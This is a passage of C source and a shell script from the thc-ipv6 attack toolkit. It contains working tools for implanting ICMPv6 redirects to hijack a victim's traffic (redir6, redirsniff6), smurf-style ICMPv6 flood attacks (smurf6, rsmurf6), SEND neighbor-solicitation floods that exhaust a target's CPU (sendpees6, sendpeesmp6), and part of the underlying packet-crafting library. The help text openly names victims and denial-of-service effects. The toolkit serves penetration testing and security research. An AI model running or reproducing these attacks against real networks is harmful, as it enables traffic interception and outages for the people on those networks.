route into victim-ip, which redirects all traffic to " "target-ip to\n"); printf("new-ip. You must know the router which would handle the route.\n"); printf("If the new-router-mac does not exist, this results in a DOS.\n"); printf( "If the TTL of the target is not 64, then specify this is the last " "option.\n"); // printf("Use -r to use raw mode.\n\n"); exit(-1); } int main(int argc, char *argv[]) { unsigned char *pkt = NULL, buf[16], mac[16] = ""; unsigned char *mac6 = mac, *src6, *target6, *oldrouter6, *newrouter6, *self6, *fakemac; thc_ipv6_hdr *ipv6; char * interface; int pkt_len, rawmode = 0, ttl = 64, offset = 14; if (argc < 6 || strncmp(argv[1], "-h", 2) == 0) help(argv[0]); if (strcmp(argv[1], "-r") == 0) { thc_ipv6_rawmode(1); rawmode = 1; argv++; argc--; } if (do_hdr_size) offset = do_hdr_size; interface = argv[1]; src6 = thc_resolve6(argv[2]); target6 = thc_resolve6(argv[3]); oldrouter6 = thc_resolve6(argv[4]); if ((newrouter6 = thc_resolve6(argv[5])) == NULL) { fprintf(stderr, "Error: %s does not resolve to a valid IPv6 address\n", argv[5]); exit(-1); } if (thc_get_own_mac(interface) == NULL) { fprintf(stderr, "Error: invalid interface %s\n", interface); exit(-1); } /* Spoof source mac */ if ((self6 = thc_get_own_ipv6(interface, oldrouter6, PREFER_GLOBAL)) == NULL) { fprintf(stderr, "Error: could not get own IP address to contact original-router\n"); exit(-1); } if ((fakemac = thc_get_mac(interface, self6, oldrouter6)) == NULL) { fprintf(stderr, "Error: could not resolve mac address for original-router\n"); free(self6); exit(-1); } if (rawmode == 0) { if (argc >= 7) sscanf(argv[6], "%x:%x:%x:%x:%x:%x", (unsigned int *)&mac[0], (unsigned int *)&mac[1], (unsigned int *)&mac[2], (unsigned int *)&mac[3], (unsigned int *)&mac[4], (unsigned int *)&mac[5]); else mac6 = thc_get_own_mac(interface); } if (argc >= 8) ttl = atoi(argv[7]); if (ttl <= 0 || ttl > 255) ttl = 64; memset(buf, 'A', 16); if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, target6, src6, 0, 0, 0, 0, 0)) == NULL) return -1; if (thc_add_icmp6(pkt, &pkt_len, ICMP6_PINGREQUEST, 0, 0xfacebabe, (unsigned char *)&buf, 16, 0) < 0) return -1; if (thc_generate_and_send_pkt(interface, fakemac, NULL, pkt, &pkt_len) < 0) { fprintf(stderr, "Error: Can not send packet, exiting ...\n"); exit(-1); } usleep(25000); ipv6 = (thc_ipv6_hdr *)pkt; thc_inverse_packet(ipv6->pkt + offset, ipv6->pkt_len - offset); ipv6->pkt[offset + 7] = (unsigned char)ttl; thc_redir6(interface, oldrouter6, fakemac, NULL, newrouter6, mac6, ipv6->pkt + 14, ipv6->pkt_len - 14); printf("Sent ICMPv6 redirect for %s\n", argv[3]); free(self6); free(fakemac); return 0; } thc-ipv6-3.8/redirsniff6.c000066400000000000000000000115321376121567700154320ustar00rootroot00000000000000#include #include #include #include #include #include #include #include #include #include #include "thc-ipv6.h" unsigned char *pkt = NULL, buf[16], mac[16] = "", *realownmac; unsigned char *mac6 = mac, *src6, *dest6, *oldrouter6, *newrouter6, *self6, *fakemac; char *interface; void help(char *prg) { printf("%s %s (c) 2020 by %s %s\n\n", prg, VERSION, AUTHOR, RESOURCE); printf( "Syntax: %s interface victim-ip destination-ip original-router " "[new-router [new-router-mac]]\n\n", prg); printf( "Implant a route into victim-ip, which redirects all traffic to " "destination-ip to\n"); printf( "new-router. This is done on all traffic that flows by that matches\n"); printf( "victim->target. You must know the router which would handle the " "route.\n"); printf("If the new-router/-mac does not exist, this results in a DOS.\n"); printf( "You can supply a wildcard ('*') for victim-ip and/or destination-ip.\n"); exit(-1); } void intercept(u_char *foo, const struct pcap_pkthdr *header, const unsigned char *data) { char *ptr, *ptr2; // packet is to the real router, and is not from us? if (memcmp(realownmac, data + 6, 6) == 0 || memcmp(fakemac, data, 6) != 0) return; // check that source and dest are routed // same network? if (memcmp(data + 14 + 8, data + 14 + 8 + 16, 8) == 0) return; // dst fe.. or ff.. or 00? if (data[14 + 8 + 16] >= 0xfe || data[14 + 8 + 16] == 0) return; // src fe.. or ff.. or 00? if (data[14 + 8 + 16] >= 0xfe || data[14 + 8 + 16] == 0) return; if (src6 != NULL) { // victim wildcard? if not, check src if (memcmp(src6, data + 14 + 8, 16) != 0) return; } else { // victim wildcard - we have to ensure that the source is local -> // hop count! if (data[14 + 7] != 64 && data[14 + 7] != 128 && data[14 + 7] != 255) return; } if (dest6 != NULL) // destination wildcard? if not, check dst if (memcmp(dest6, data + 14 + 8 + 16, 16) != 0) return; thc_redir6(interface, oldrouter6, fakemac, (unsigned char *)data + 6, newrouter6, mac6, (unsigned char *)data + 14, header->caplen - 14); ptr = thc_ipv62notation((unsigned char *)data + 14 + 8); ptr2 = thc_ipv62notation((unsigned char *)data + 14 + 8 + 16); printf("Sent ICMPv6 redirect for %s -> %s\n", ptr, ptr2); free(ptr); free(ptr2); } int main(int argc, char *argv[]) { int rawmode = 0, offset = 14; char string[256] = "ip6"; if (argc < 5 || strncmp(argv[1], "-h", 2) == 0) help(argv[0]); if (strcmp(argv[1], "-r") == 0) { thc_ipv6_rawmode(1); rawmode = 1; argv++; argc--; } if (do_hdr_size) offset = do_hdr_size; interface = argv[1]; if ((src6 = thc_resolve6(argv[2])) == NULL) { if (strcmp(argv[2], "*") != 0) { fprintf(stderr, "Error: victim-ip is not a valid IPv6 address or '*': %s\n", argv[2]); exit(-1); } } if ((dest6 = thc_resolve6(argv[3])) == NULL) { if (strcmp(argv[3], "*") != 0) { fprintf(stderr, "Error: destination-ip is not a valid IPv6 address or '*': %s\n", argv[3]); exit(-1); } } if ((oldrouter6 = thc_resolve6(argv[4])) == NULL) { fprintf(stderr, "Error: old-router is not a valid IPv6 address: %s\n", argv[4]); exit(-1); } if (argc >= 6) { if ((newrouter6 = thc_resolve6(argv[5])) == NULL) { fprintf(stderr, "Error: new-router is not a valid IPv6 address: %s\n", argv[5]); exit(-1); } } else newrouter6 = thc_get_own_ipv6(interface, NULL, PREFER_LINK); /* Spoof source mac */ if ((self6 = thc_get_own_ipv6(interface, oldrouter6, PREFER_GLOBAL)) == NULL) { fprintf(stderr, "Error: could not get own IP address to contact original-router\n"); exit(-1); } if ((fakemac = thc_get_mac(interface, self6, oldrouter6)) == NULL) { fprintf(stderr, "Error: could not resolve mac address for original-router\n"); free(self6); exit(-1); } mac6 = mac; if (argc >= 7) sscanf(argv[6], "%x:%x:%x:%x:%x:%x", (unsigned int *)&mac[0], (unsigned int *)&mac[1], (unsigned int *)&mac[2], (unsigned int *)&mac[3], (unsigned int *)&mac[4], (unsigned int *)&mac[5]); else mac6 = thc_get_own_mac(interface); realownmac = thc_get_own_mac(interface); if (src6 != NULL) { strcat(string, " and src "); strcat(string, thc_ipv62notation(src6)); } if (dest6 != NULL) { strcat(string, " and dst "); strcat(string, thc_ipv62notation(dest6)); } printf( "Starting sniffer to get traffic to be redirected (press Control-C to " "end) ...\n"); return thc_pcap_function(interface, string, (char *)intercept, 1, NULL); } thc-ipv6-3.8/rsmurf6.c000066400000000000000000000037021376121567700146150ustar00rootroot00000000000000#include #include #include #include #include #include #include #include #include #include #include "thc-ipv6.h" void help(char *prg) { printf("%s %s (c) 2020 by %s %s\n\n", prg, VERSION, AUTHOR, RESOURCE); printf("Syntax: %s interface victim-ip\n\n", prg); printf("Smurfs the local network of the victim. Note: this depends on an\n"); printf("implementation error, currently only verified on Linux.\n"); printf("Evil: \"ff02::1\" as victim will DOS your local LAN completely\n"); // printf("Use -r to use raw mode.\n\n"); exit(-1); } int main(int argc, char *argv[]) { unsigned char *pkt = NULL, buf[16], fakemac[7] = "\x00\x00\xde\xad\xbe\xef"; unsigned char *multicast6, *victim6; int pkt_len = 0; char * interface; int rawmode = 0; if (argc < 3 || strncmp(argv[1], "-h", 2) == 0) help(argv[0]); if (strcmp(argv[1], "-r") == 0) { thc_ipv6_rawmode(1); rawmode = 1; argv++; argc--; } interface = argv[1]; victim6 = thc_resolve6(argv[2]); multicast6 = thc_resolve6("ff02::1"); if (thc_get_own_ipv6(interface, NULL, PREFER_GLOBAL) == NULL) { fprintf(stderr, "Error: invalid interface %s\n", interface); exit(-1); } memset(buf, 'A', 16); if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, multicast6, victim6, 0, 0, 0, 0, 0)) == NULL) return -1; if (thc_add_icmp6(pkt, &pkt_len, ICMP6_PINGREQUEST, 0, 0xfacebabe, (unsigned char *)&buf, 16, 0) < 0) return -1; if (thc_generate_pkt(interface, fakemac, NULL, pkt, &pkt_len) < 0) { fprintf(stderr, "Error: Can not generate packet, exiting ...\n"); exit(-1); } printf("Starting rsmurf6 against %s (Press Control-C to end) ...\n", argv[2]); while (1) thc_send_pkt(interface, pkt, &pkt_len); return 0; } thc-ipv6-3.8/sendpees6.c000066400000000000000000000044411376121567700151060ustar00rootroot00000000000000#include #include #ifndef _HAVE_SSL int main() { fprintf(stderr, "Error: thc-ipv6 was compiled without openssl support, sendpees6 " "disabled.\n"); return -1; } #else #include #include #include #include #include #include "thc-ipv6.h" int main(int argc, char **argv) { thc_cga_hdr * cga_opt; thc_key_t * key; struct in6_addr addr6; unsigned char * pkt = NULL; unsigned char * dst6, *cga, *dev; char dummy[24], prefix[8], addr[50]; char dsthw[] = "\xff\xff\xff\xff\xff\xff"; char srchw[] = "\xdd\xde\xad\xbe\xef\xff"; int pkt_len = 0; if (argc != 5) { printf("sendpees6 by willdamn \n\n"); printf("Syntax: %s interface key_length prefix victim\n\n", argv[0]); printf( "Send SEND neighbor solicitation messages and make target to verify a " "lota CGA and RSA signatures\n\n"); exit(1); } dev = argv[1]; if (thc_get_own_ipv6(dev, NULL, PREFER_LINK) == NULL) { fprintf(stderr, "Error: invalid interface %s\n", dev); exit(-1); } memcpy(addr, argv[3], 50); inet_pton(PF_INET6, addr, &addr6); memcpy(prefix, &addr6, 8); key = thc_generate_key(atoi(argv[2])); if (key == NULL) { printf("Couldn't generate key!"); exit(1); } cga_opt = thc_generate_cga(prefix, key, &cga); if (cga_opt == NULL) { printf("Error during CGA generation"); exit(1); } dst6 = thc_resolve6(argv[4]); memset(dummy, 'X', sizeof(dummy)); dummy[16] = 1; dummy[17] = 1; memcpy(dummy, dst6, 16); if ((pkt = thc_create_ipv6_extended(dev, PREFER_GLOBAL, &pkt_len, cga, dst6, 0, 0, 0, 0, 0)) == NULL) { printf("Cannot create IPv6 header\n"); exit(1); } if (thc_add_send(pkt, &pkt_len, ICMP6_NEIGHBORSOL, 0xfacebabe, 0x0, dummy, 24, cga_opt, key, NULL, 0) < 0) { printf("Cannot add SEND options\n"); exit(1); } free(cga_opt); if (thc_generate_pkt(dev, srchw, dsthw, pkt, &pkt_len) < 0) { fprintf(stderr, "Couldn't generate IPv6 packet!\n"); exit(1); } printf("Sending..."); fflush(stdout); while (1) thc_send_pkt(dev, pkt, &pkt_len); return 0; } #endifthc-ipv6-3.8/sendpeesmp6.c000066400000000000000000000125061376121567700154440ustar00rootroot00000000000000#include #include #include #include #ifndef _HAVE_SSL int main() { fprintf(stderr, "Error: thc-ipv6 was compiled without openssl support, sendpeesmp6 " "disabled.\n"); return -1; } #else #include #include #include "thc-ipv6.h" #include #include #include #include #include #define HIGH 255 #define LOW 0 #define THREAD_NUM 150 /* data structure to hold data to pass to a thread (later converted to processes) */ struct thread_data { int thread_id; unsigned char *dev; unsigned char srchw[6]; unsigned char dsthw[6]; unsigned char *pkt; int pkt_len; }; /* array of these thread data structs */ struct thread_data thread_data_array[THREAD_NUM]; /* main function */ int main(int argc, char **argv) { thc_cga_hdr * cga_opt; /* CGA header */ thc_key_t * key; /* public key */ unsigned char *pkt = NULL; /* generic packet space */ unsigned char *dst6, *cga, *dev; /* IPv6 addrs */ /* various parts of packets, temporaries */ char advdummy[16], soldummy[24], prefix[8], *addr; /* MAC addresses for testing, attacking */ // unsigned char dsthw[] = "\xff\xff\xff\xff\xff\xff"; // unsigned char tgthw[] = "\x00\x1a\xa0\x41\xf0\x2d"; /*real attack mac */ unsigned char *tgthw; // unsigned char srchw[] = "\xdd\xde\xad\xbe\xef\xdd"; // unsigned char srchwreal[] = "\x00\x11\x11\x32\xb2\x84"; // unsigned char tag[] = // "\xdd\xde\xad\xbe\xef\xdd\xdd\xde\xad\xbe\xef\xdd\xbe\xef\xaa\xaa"; int pkt_len = 0; /* packet length */ int flags = 0; /* ICMPv6 flags */ // thc_ipv6_rawmode(0); /* generate my own MAC addresses */ FILE * fp; /* file pointer for reading from /dev/urandom */ unsigned char test[6]; /* randomized mac storage */ int result = 0, pid, status, i; /* exit codes */ int count = 1000000000; if (argc != 5) { printf("original sendpees by willdamn \n"); printf( "modified sendpeesMP by Marcin Pohl \nCode based " "on thc-ipv6\n\n"); printf("Syntax: %s interface key_length prefix victim\n\n", argv[0]); printf( "Send SEND neighbor solicitation messages and make target to verify a " "lota CGA and RSA signatures\n"); printf("Example: %s eth0 2048 fe80:: fe80::1\n\n", argv[0]); exit(1); } memset(&test, 0, 6); /* set 6 bytes to zero */ fp = fopen("/dev/urandom", "r"); /* set FP to /dev/urandom */ dev = argv[1]; /* read interface from commandline */ if ((addr = thc_resolve6(argv[3])) == NULL) { fprintf(stderr, "Error: %s does not resolve to a valid IPv6 address\n", argv[3]); exit(-1); } if (thc_get_own_ipv6(dev, NULL, PREFER_LINK) == NULL) { fprintf(stderr, "Error: invalid interface %s\n", dev); exit(-1); } memcpy(prefix, addr, 8); /* first 8 bytes of sockaddr is prefix */ key = thc_generate_key(atoi(argv[2])); /* EXPENSIVE KEYGEN HERE! */ if (key == NULL) { printf("Couldn't generate key!"); exit(1); } /*makes options and the address*/ cga_opt = thc_generate_cga(prefix, key, &cga); /* cga = thc_resolve6("::"); */ if (cga_opt == NULL) { printf("Error during CGA generation"); exit(1); } /* ICMP6 TARGET, IPDST */ if (argv[4] == NULL) dst6 = thc_resolve6("ff02::1"); else dst6 = thc_resolve6(argv[4]); tgthw = thc_get_mac(dev, cga, dst6); test[0] = 0; /* set MAC to intel */ test[1] = 170; /* set MAC to intel */ test[2] = 0; /* set MAC to intel */ /* set ICMP OPTION SLLA HERE */ memset(advdummy, 'D', sizeof(advdummy)); memset(soldummy, 'D', sizeof(soldummy)); /* set destination IP here */ memcpy(advdummy, dst6, 16); /*dstIP */ memcpy(soldummy, dst6, 16); /*dstIP */ /* fixed values for NS */ soldummy[16] = 1; soldummy[17] = 1; memcpy(&soldummy[18], test, 6); /* SLLA OPTION */ /* ND flags */ flags = ICMP6_NEIGHBORADV_OVERRIDE; /* the forking starts here */ for (i = 0; i < THREAD_NUM; ++i) { pid = fork(); if (pid == 0) { printf("Creating thread %d\n", i); /*randomize MAC here*/ result = fread((char *)&test[3], 1, 3, fp); /* create IPv6 portion */ if ((pkt = thc_create_ipv6_extended(dev, PREFER_LINK, &pkt_len, cga, dst6, 0, 0, 0, 0, 0)) == NULL) { printf("Cannot create IPv6 header\n"); exit(1); } /* create ICMPv6 with SeND options */ if (thc_add_send(pkt, &pkt_len, ICMP6_NEIGHBORSOL, 0x0, flags, soldummy, 24, cga_opt, key, NULL, 0) < 0) { printf("Cannot add SEND options\n"); exit(1); } free(cga_opt); /* attach the IPv6+ICMPv6+SeND to an Ethernet frame with random MAC */ if ((result = thc_generate_pkt(dev, test, tgthw, pkt, &pkt_len)) < 0) { fprintf(stderr, "Couldn't generate IPv6 packet, error num %d !\n", result); exit(1); } printf("Sending %d...", i); fflush(stdout); while (count) { /* send many packets */ thc_send_pkt(dev, pkt, &pkt_len); --count; } exit(1); } } wait(&status); return 0; } #endifthc-ipv6-3.8/six2four.sh000077500000000000000000000016301376121567700151630ustar00rootroot00000000000000#!/bin/bash test -z "$1" -o "$1" = "-h" -o -z "$4" && { echo "Syntax: $0 [-s src4] interface ipv4-to-6-gw ipv6src ipv6dst [port]" echo echo "Options:" echo " -s src4 spoofs the specified IPv4 source ddress" echo echo "Send an IPv6 packet to an IPv4 6to4 gateway. If a port is specified, a UDP" echo "packet is sent, otherwise an ICMPv6 ping." echo "Note: the packet is sent to the IPv4 default gateway!" exit 1 } SRC4= test "$1" = "-s" && { shift ; SRC4=$1 ; shift ; } test -z "$4" && SRC4=`ifconfig $1 | grep "inet addr:" | awk -F: '{print$2}' | sed 's/ .*//'` MAC4=`ifconfig $1 | grep "^$1" | sed 's/.*HWaddr //i' | tr -d ' \t'` DST4=$2 ROUTER4=`ip -4 route show | grep $1 | grep via | grep default | awk '{print$3}'` MAD4=`arp -a -v -n | grep "($ROUTER4)" | awk '{print$4}'` PORT= test -n "$5" && PORT="-U $5" echo export THC_IPV6_6IN4=$MAC4,$MAD4,$SRC4,$DST4 echo thcping6 $PORT $1 $3 $4 thc-ipv6-3.8/smurf6.c000066400000000000000000000045631376121567700144410ustar00rootroot00000000000000#include #include #include #include #include #include #include #include #include #include #include "thc-ipv6.h" void help(char *prg) { printf("%s %s (c) 2013 by %s %s\n\n", prg, VERSION, AUTHOR, RESOURCE); printf( "Syntax: %s [-i microseconds] interface victim-ip " "[multicast-network-address]\n\n", prg); printf( "Smurf the target with icmp echo replies. Target of echo request is " "the\n"); printf("local all-nodes multicast address if not specified\n"); // printf("Use -r to use raw mode.\n\n"); exit(-1); } int main(int argc, char *argv[]) { unsigned char *pkt = NULL, buf[16], fakemac[7] = "\x00\x00\xde\xad\xbe\xef"; unsigned char *multicast6, *victim6; int i, pkt_len = 0, msec = 0; char * interface; int rawmode = 0; if (argc < 3 || strncmp(argv[1], "-h", 2) == 0) help(argv[0]); // if (strcmp(argv[1], "-r") == 0) { // thc_ipv6_rawmode(1); // rawmode = 1; // argv++; // argc--; // } while ((i = getopt(argc, argv, "i:")) >= 0) { switch (i) { case 'i': msec = atoi(optarg); break; default: fprintf(stderr, "Error: unknown option -%c\n", i); exit(-1); } } interface = argv[optind]; if (thc_get_own_ipv6(interface, NULL, PREFER_GLOBAL) == NULL) { fprintf(stderr, "Error: invalid interface %s\n", interface); exit(-1); } victim6 = thc_resolve6(argv[optind + 1]); if (argv[optind + 2] != NULL) multicast6 = thc_resolve6(argv[optind + 2]); else multicast6 = thc_resolve6("ff02::1"); memset(buf, 'A', 16); if ((pkt = thc_create_ipv6_extended(interface, PREFER_GLOBAL, &pkt_len, victim6, multicast6, 0, 0, 0, 0, 0)) == NULL) return -1; if (thc_add_icmp6(pkt, &pkt_len, ICMP6_PINGREQUEST, 0, 0xfacebabe, (unsigned char *)&buf, 16, 0) < 0) return -1; if (thc_generate_pkt(interface, fakemac, NULL, pkt, &pkt_len) < 0) { fprintf(stderr, "Error: Can not generate packet, exiting ...\n"); exit(-1); } printf("Starting smurf6 attack against %s (Press Control-C to end) ...\n", argv[optind + 1]); while (1) { thc_send_pkt(interface, pkt, &pkt_len); if (msec != 0) usleep(msec); } return 0; } thc-ipv6-3.8/thc-ipv6-lib.c000066400000000000000000003341571376121567700154300ustar00rootroot00000000000000 /* * (c) 2020 by van Hauser / THC * * THC IPv6 Attack Library * * Functions: see README * * The AGPL v3 license applies to this code, see the LICENSE file * */ #include #include #include #include #include #include /* network */ #include #include #include #include #include #include #include #include #include #include #include #include #include //#include /* files */ #include #include /* misc */ #include #include /* libpcap */ #include #ifdef _HAVE_SSL /* libssl */ #include #include #include #include #include #endif /* OS specifics */ #if defined(__APPLE__) #include #define bswap_16 OSSwapInt16 #define bswap_32 OSSwapInt32 #define bswap_64 OSSwapInt64 #else #include #endif #if !defined(SIOCGIFHWADDR) #include #include #include #else #include #include #endif #include "thc-ipv6.h" // we need this because the default sockaddr structure does not fit the maximum // device name length on linux. why linux? why?? struct thcsockaddr { u_short sa_family; /* address family */ char sa_data[16]; /* up to 16 bytes of direct address */ }; /***********************************************************/ // exported to external via thc-ipv6.h int debug = 0; int _thc_ipv6_showerrors = SHOW_LIBRARY_ERRORS; int do_hdr_size = 0, do_hdr_vlan = 0; // injection variables #define _PPPOE_HDR_SIZE 22 #define _6IN4_HDR_SIZE 34 int do_6in4 = 0, do_pppoe = 0, do_hdr_off = 0; char *do_hdr = NULL, *do_capture = NULL; // other internal global vars char default_interface[32] = "eth0"; int thc_socket = -1; int _thc_ipv6_rawmode = 0; void thc_ipv6_rawmode(int mode) { _thc_ipv6_rawmode = mode; if (mode != 0) fprintf(stderr, "Warning: raw mode is not working in all tools\n"); } void thc_ipv6_show_errors(int mode) { _thc_ipv6_showerrors = mode; } unsigned char *thc_ipv6_dummymac() { char *ptr = malloc(7); if (ptr == NULL) return NULL; memset(ptr, 0xff, 6); ptr[6] = 0; return ptr; } int thc_pcap_function(char *interface, char *capture, char *function, int promisc, char *opt) { pcap_t * pcap_link = NULL; char errbuf[PCAP_ERRBUF_SIZE]; struct bpf_program fcode; if (thc_socket < 0) thc_socket = thc_open_ipv6(interface); if (do_pppoe || do_6in4 || do_hdr_vlan) promisc = 1; if (interface == NULL) interface = default_interface; if ((pcap_link = pcap_open_live(interface, 65535, promisc, -1, errbuf)) == NULL) return -1; if (do_pppoe || do_6in4 || do_hdr_vlan) pcap_compile(pcap_link, &fcode, do_capture, 1, 0); else if (pcap_compile(pcap_link, &fcode, capture, 1, 0) < 0) return -2; pcap_setfilter(pcap_link, &fcode); while (1) { if (pcap_dispatch(pcap_link, 1, (pcap_handler)function, opt) < 0) return -3; usleep(10); } return -4; // never reached } pcap_t *thc_pcap_init(char *interface, char *capture) { pcap_t * pcap_link = NULL; char errbuf[PCAP_ERRBUF_SIZE]; struct bpf_program fcode; int promisc = 0; if (thc_socket < 0) thc_socket = thc_open_ipv6(interface); if (do_pppoe || do_6in4 || do_hdr_vlan) promisc = 1; if (interface == NULL) interface = default_interface; if ((pcap_link = pcap_open_live(interface, 65535, promisc, -1, errbuf)) == NULL) return NULL; if (do_pppoe || do_6in4 || do_hdr_vlan) pcap_compile(pcap_link, &fcode, do_capture, 1, 0); else if (pcap_compile(pcap_link, &fcode, capture, 1, 0) < 0) return NULL; pcap_setfilter(pcap_link, &fcode); pcap_setnonblock(pcap_link, 1, errbuf); return pcap_link; } pcap_t *thc_pcap_init_promisc(char *interface, unsigned char *capture) { pcap_t * pcap_link = NULL; char errbuf[PCAP_ERRBUF_SIZE]; struct bpf_program fcode; if (thc_socket < 0) thc_socket = thc_open_ipv6(interface); if (interface == NULL) interface = default_interface; if ((pcap_link = pcap_open_live(interface, 65535, 1, -1, errbuf)) == NULL) return NULL; if (do_pppoe || do_6in4 || do_hdr_vlan) pcap_compile(pcap_link, &fcode, do_capture, 1, 0); else if (pcap_compile(pcap_link, &fcode, capture, 1, 0) < 0) return NULL; pcap_setfilter(pcap_link, &fcode); pcap_setnonblock(pcap_link, 1, errbuf); return pcap_link; } int thc_pcap_check(pcap_t *pcap_link, char *function, char *opt) { if (pcap_link == NULL) return -1; return pcap_dispatch(pcap_link, 1, (pcap_handler)function, opt); } char *thc_pcap_close(pcap_t *pcap_link) { if (pcap_link != NULL) pcap_close(pcap_link); return NULL; } /* wow, ugly, complicated work for something a standard linux library could do * as well :-) */ void thc_notation2beauty(unsigned char *ipv6) { char buf[40], buf2[40] = ":0:0:", *ptr, *ptr2 = NULL; int i, j, k = 0, l = 0; if (ipv6[39] != 0 || strlen(ipv6) != 39) return; memset(buf, 0, sizeof(buf)); // remove leading zeros from ipv6-input to buf, :0023: = :23:, :0000: = :0: for (i = 0; i < 8; i++) { ptr = ipv6 + i * 4 + i; j = 0; while (*ptr == '0' && j < 3) { ptr++; j++; } memcpy(&buf[k], ptr, 4 - j); k += 4 - j; buf[k++] = ':'; } buf[k - 1] = 0; // find the longest :0: chain while ((ptr = strstr(buf, buf2)) != NULL) { ptr2 = ptr; strcat(buf2, "0:"); } // if at least :0:0: is found, on the longest replace with ::, ptr2 shows // where if (ptr2 != NULL) { buf2[strlen(buf2) - 2] = 0; memset(ipv6, 0, 40); // special case: 0000::.... if (buf + 1 == ptr2 && buf[0] == '0') { ipv6[0] = ':'; l = -1; } else memcpy(ipv6, buf, ptr2 - buf + 1); memcpy(ipv6 + (ptr2 - buf + 1 + l), ptr2 + strlen(buf2) - 1, strlen(buf) - (ptr2 - buf) - strlen(buf2) + 1); // special case ....::0000 if (ipv6[strlen(ipv6) - 1] == '0' && ipv6[strlen(ipv6) - 2] == ':' && ptr2 - buf + 1 + strlen(buf2) == strlen(buf)) ipv6[strlen(ipv6) - 1] = 0; } else strcpy(ipv6, buf); // if (strncmp(ipv6, "::ffff:", 7) == 0 && strlen(ipv6) <= 16) { // printf("XXX beauty for ::ffff:123.123.132.123\n"); // } } unsigned char *thc_ipv62string(unsigned char *ipv6) { char *string = malloc(33); int a; if (ipv6 != NULL && string != NULL) { for (a = 0; a < 16; a++) { if (ipv6[a] / 16 >= 10) string[a * 2] = 'a' + ipv6[a] / 16 - 10; else string[a * 2] = '0' + ipv6[a] / 16; if (ipv6[a] % 16 >= 10) string[a * 2 + 1] = 'a' + ipv6[a] % 16 - 10; else string[a * 2 + 1] = '0' + ipv6[a] % 16; } string[32] = 0; } else { free(string); return NULL; } return string; } unsigned char *thc_string2ipv6(unsigned char *string) { unsigned char *ipv6 = malloc(16); int a; if (string != NULL && ipv6 != NULL) { for (a = 0; a < 16; a++) { ipv6[a] = (string[2 * a] >= 'a' ? 10 + string[2 * a] - 'a' : string[2 * a] - '0') * 16; ipv6[a] += string[2 * a + 1] >= 'a' ? 10 + string[2 * a + 1] - 'a' : string[2 * a + 1] - '0'; } } else { free(ipv6); return NULL; } return ipv6; } unsigned char *thc_string2notation(unsigned char *string) { unsigned char *notation = malloc(40); int a; if (notation != NULL && string != NULL) { for (a = 0; a < 8; a++) { memcpy(notation + a * 5, string + a * 4, 4); notation[4 + a * 5] = ':'; } notation[39] = 0; } else { return NULL; free(notation); } thc_notation2beauty(notation); return notation; } unsigned char *thc_ipv62notation(unsigned char *ipv6) { char *res, *ptr; if (ipv6 == NULL) return NULL; if ((res = thc_ipv62string(ipv6)) == NULL) return NULL; ptr = thc_string2notation(res); free(res); return ptr; } int calculate_checksum(unsigned char *data, int data_len) { int i = 0, checksum = 0; if (debug) thc_dump_data(data, data_len, "Checksum Packet Data"); while (i < data_len) { if (i++ % 2 == 0) checksum += *data++; else checksum += *data++ << 8; } checksum = (checksum & 0xffff) + (checksum >> 16); checksum = htons(~checksum); return checksum; } int checksum_pseudo_header(unsigned char *src, unsigned char *dst, unsigned char type, unsigned char *data, int length) { unsigned char ptr[40 + length + 48]; int checksum; if (((type != NXT_IP4 && type != NXT_ICMP4) && (src == NULL || dst == NULL)) || data == NULL || length < 0) return -1; if (length + 40 > 65535) if (_thc_ipv6_showerrors) fprintf(stderr, "Warning: checksums for packets > 65535 are unreliable due " "implementation differences on target platforms\n"); memset(&ptr, 0, 40 + length); if (type == NXT_IP4 || type == NXT_IP4_RUDIMENTARY || type == NXT_ICMP4) { memcpy(ptr, data, length); checksum = calculate_checksum(ptr, length); } else { memcpy(&ptr[0], src, 16); memcpy(&ptr[16], dst, 16); ptr[34] = length / 256; ptr[35] = length % 256; ptr[39] = type; if (data != NULL && length > 0) memcpy(&ptr[40], data, length); checksum = calculate_checksum(ptr, 40 + length); } /*if (length > 65495) { printf("DEBUG length: %d, high: %d, low: %d, sum: %x\n", length, ptr[34], ptr[35], checksum); printf("65535: %x\n", calculate_checksum(ptr, 65535)); printf("65536: %x\n", calculate_checksum(ptr, 65536)); printf("65535+40: %x\n", calculate_checksum(ptr, 65535 + 40)); printf("65535+40: %x\n", calculate_checksum(ptr, 65536 + 40)); }*/ if (type == NXT_UDP && checksum == 0) checksum = 65535; if (debug) printf("Checksum: %d = %p, %p, %d, %p, %d\n", checksum, src, dst, type, data, length); return checksum; } unsigned char *thc_resolve6(char *target) { char * ret_addr, *ptr2, *ptr = target, tmp[264]; struct in6_addr glob_in6; char * glob_addr = (char *)&glob_in6; struct addrinfo glob_hints, *glob_result; unsigned char out[64]; if (target == NULL) return NULL; if (index(target, '/') != NULL || *target == '[' || index(target, '%') != NULL) { ptr = strncpy(tmp, target, sizeof(tmp) - 1); tmp[sizeof(tmp) - 1] = 0; if ((ptr2 = index(tmp, '/')) != NULL) *ptr2 = 0; if ((ptr2 = index(tmp, '%')) != NULL) *ptr2 = 0; if (*ptr == '[') { ptr++; if ((ptr2 = index(tmp, ']')) != NULL) *ptr2 = 0; } } memset(&glob_hints, 0, sizeof(glob_hints)); glob_hints.ai_family = AF_INET6; if (getaddrinfo(ptr, NULL, &glob_hints, &glob_result) != 0) return NULL; if (getnameinfo(glob_result->ai_addr, glob_result->ai_addrlen, out, sizeof(out), NULL, 0, NI_NUMERICHOST) != 0) return NULL; if (inet_pton(AF_INET6, out, glob_addr) < 0) return NULL; if ((ret_addr = malloc(16)) == NULL) return NULL; memcpy(ret_addr, glob_in6.s6_addr, 16); if (debug) thc_dump_data(ret_addr, 16, "Target Resolve IPv6"); freeaddrinfo(glob_result); return ret_addr; } int thc_get_mtu(char *interface) { int s; struct ifreq ifr; static struct mtu_cache_entry { char *intf; int mtu; } *mtu_cache = NULL; static int mtu_cache_size = 0; if (interface == NULL) interface = default_interface; /* lookup in the cache and save syscalls */ if (mtu_cache_size) { int i; for (i = 0; i < mtu_cache_size; i++) { if (strcmp(interface, mtu_cache[i].intf) == 0) return mtu_cache[i].mtu; } } if ((s = socket(AF_INET, SOCK_DGRAM, 0)) < 0) return -1; memset(&ifr, 0, sizeof(ifr)); snprintf(ifr.ifr_name, sizeof(ifr.ifr_name), "%s", interface); if (ioctl(s, SIOCGIFMTU, (int8_t *)&ifr) < 0) { close(s); return -1; } close(s); if (debug) printf("DEBUG: MTU %d\n", ifr.ifr_mtu); /* Add MTU to the cache to avoid having to look it up again */ mtu_cache_size++; mtu_cache = realloc(mtu_cache, 